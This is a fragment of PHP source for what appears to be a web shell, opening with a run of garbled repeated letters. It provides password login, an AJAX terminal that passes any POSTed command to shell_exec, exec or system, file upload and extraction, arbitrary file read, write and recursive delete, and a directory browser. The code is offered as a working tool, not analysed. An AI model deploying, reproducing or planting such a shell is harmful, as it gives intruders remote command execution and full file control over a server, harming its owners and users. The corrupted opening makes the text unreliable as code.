MPEKTEMPEKTEMPEKTEMPEKMEPEPKEMEPMEPEKEK $val) { $parts[] = $is_list ? je($val) : '"'.h($key).'":'.je($val); } return $is_list ? '['.implode(',', $parts).']' : '{'.implode(',', $parts).'}'; } return '"'.str_replace(array("\\","\"","\r","\n"), array("\\\\","\\\"","\\r","\\n"), (string)$v).'"'; } } function biru_random_bytes($len){ if (is_fn_usable('random_bytes')) return random_bytes($len); $out = ''; for ($i = 0; $i < $len; $i++) $out .= chr(mt_rand(0, 255)); return $out; } function humanSize($b){ $u = array('B','KB','MB','GB','TB'); $i = 0; while ($b >= 1024 && $i < count($u)-1){ $b/=1024; $i++; } return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i]; } function permsToString($f){ $p = @fileperms($f); if ($p === false) return '??????????'; $t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-'); $s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-'); $s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-'); $s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-'); return $t.$s; } function isTextFile($p){ if (is_dir($p)) return false; $ext = strtolower(pathinfo((string)$p, PATHINFO_EXTENSION)); $allowed = array('txt','md','json','js','css','php','html','ini','xml','sql','env','py','sh'); return in_array($ext, $allowed, true); } function safeJoin($base,$child){ $child = str_replace(array("\0", ".."), '', $child); return rtrim($base, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child; } function listDirEntries($dir){ $h = @opendir($dir); if ($h===false) return array(); $items=array(); while(false!==($e=readdir($h))){ $items[]=$e; } closedir($h); return $items; } function rrmdir($p){ if (is_file($p) || is_link($p)) return @unlink($p); $h = @opendir($p); if(!$h) return false; while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; rrmdir(safeJoin($p,$v)); } closedir($h); return @rmdir($p); } function tryWriteFromTmp($tmp,$dest){ if(@move_uploaded_file($tmp,$dest) || @rename($tmp,$dest) || @copy($tmp,$dest)) return array(true, null); return array(false, "Write failed"); } function extractArchive($archivePath, $destPath) { if (class_exists('ZipArchive')) { $zip = new ZipArchive; if ($zip->open($archivePath) === TRUE) { $zip->extractTo($destPath); $zip->close(); @unlink($archivePath); return array(true, "Zip extracted"); } } return array(false, "Extractor not available"); } function breadcrumbs($path){ $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_values(array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen')); $out = array(); $acc = (DIRECTORY_SEPARATOR === '\\') ? '' : DIRECTORY_SEPARATOR; if (DIRECTORY_SEPARATOR === '\\' && preg_match('~^[A-Z]:~i', $path)) { $drive = substr($path, 0, 2); $acc = $drive.'\\'; $out[] = array($drive, $acc); } else { $out[] = array('root', DIRECTORY_SEPARATOR); } foreach($parts as $p){ if (preg_match('~^[A-Z]:$~i', $p)) continue; $acc = rtrim($acc, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $p; $out[] = array($p, $acc); } return $out; } function ensureCsrf(){ if($_SERVER['REQUEST_METHOD']==='POST'){ if (!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf']) { http_response_code(403); exit("CSRF Invalid"); } } } /* ---------- ACTIONS: AJAX Terminal Handler (must come before any output) ---------- */ if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') { header('Content-Type: application/json'); // Clear any previous output buffers while (ob_get_level()) ob_end_clean(); $response = array('error' => 'Unknown error'); if (!isset($_SESSION['auth'])) { $response = array('error' => 'Unauthorized'); } elseif ($_SERVER['REQUEST_METHOD'] !== 'POST') { $response = array('error' => 'Invalid request method'); } elseif (!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf']) { $response = array('error' => 'CSRF token mismatch'); } elseif (!isset($_POST['cmd'])) { $response = array('error' => 'No command provided'); } else { $cmd = $_POST['cmd']; $output = ''; // Try shell_exec first if (function_exists('shell_exec')) { $output = @shell_exec($cmd . ' 2>&1'); if ($output === null) $output = ''; } // Fallback to exec elseif (function_exists('exec')) { exec($cmd . ' 2>&1', $output_lines, $ret); $output = implode("\n", $output_lines); } // Fallback to system elseif (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); $output = ob_get_clean(); } else { $output = 'ERROR: No command execution function available (shell_exec, exec, system all disabled)'; } $response = array('output' => (string)$output); } echo json_encode($response); exit; } /* ---------- Normal (non-AJAX) request handling ---------- */ if (!isset($_SESSION['auth'])) { if (isset($_GET['a']) && $_GET['a'] === 'login' && isset($_POST['user'])) { if ($_POST['user'] === AUTH_USER && password_verify($_POST['pass'], AUTH_PASS_HASH)) { $_SESSION['auth'] = true; header("Location: ?"); exit; } } // Render Login Page echo '
'; exit; } $initial_script_dir = realpath(getcwd()); $requested_path = isset($_GET['d']) ? (string)$_GET['d'] : ''; $current_path = (realpath($requested_path) && is_dir(realpath($requested_path))) ? realpath($requested_path) : $initial_script_dir; $msg = ''; $cmd_out = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { ensureCsrf(); $a = isset($_GET['a']) ? $_GET['a'] : ''; if (isset($_POST['cmd'])) { $cmd = $_POST['cmd'] . ' 2>&1'; $cmd_out = h(shell_exec($cmd)); } if ($a === 'upload' && isset($_FILES['file'])) { $dest = safeJoin($current_path, $_FILES['file']['name']); list($ok, $err) = tryWriteFromTmp($_FILES['file']['tmp_name'], $dest); $msg = $ok ? "Uploaded: ".$_FILES['file']['name'] : "Error: $err"; } if ($a === 'save_file' && isset($_POST['target_file'])) { if (@file_put_contents($_POST['target_file'], $_POST['file_content']) !== false) { $msg = "File saved!"; } } } if (isset($_GET['a']) && $_GET['a'] === 'del' && isset($_GET['path'])) { if (rrmdir($_GET['path'])) $msg = "Deleted!"; } if (isset($_GET['a']) && $_GET['a'] === 'edit_file' && isset($_GET['path'])) { header('Content-Type: text/plain'); echo @file_get_contents($_GET['path']); exit; } if (isset($_GET['a']) && $_GET['a'] === 'logout') { session_destroy(); header("Location: ?"); exit; } /* ---------- UI Icons (same as before) ---------- */ function svgIcon($name, $class='w-5 h-5 text-slate-400'){ $icons = array( 'folder'=>'', 'file'=>'', 'trash'=>'', 'edit'=>'' ); return isset($icons[$name]) ? $icons[$name] : ''; } ?>| Name | Size | Action |
|---|---|---|
| = svgIcon($is_dir ? 'folder' : 'file') ?> = h($f) ?> | = $is_dir ? 'DIR' : humanSize(@filesize($path)) ?> | = svgIcon('trash') ?> |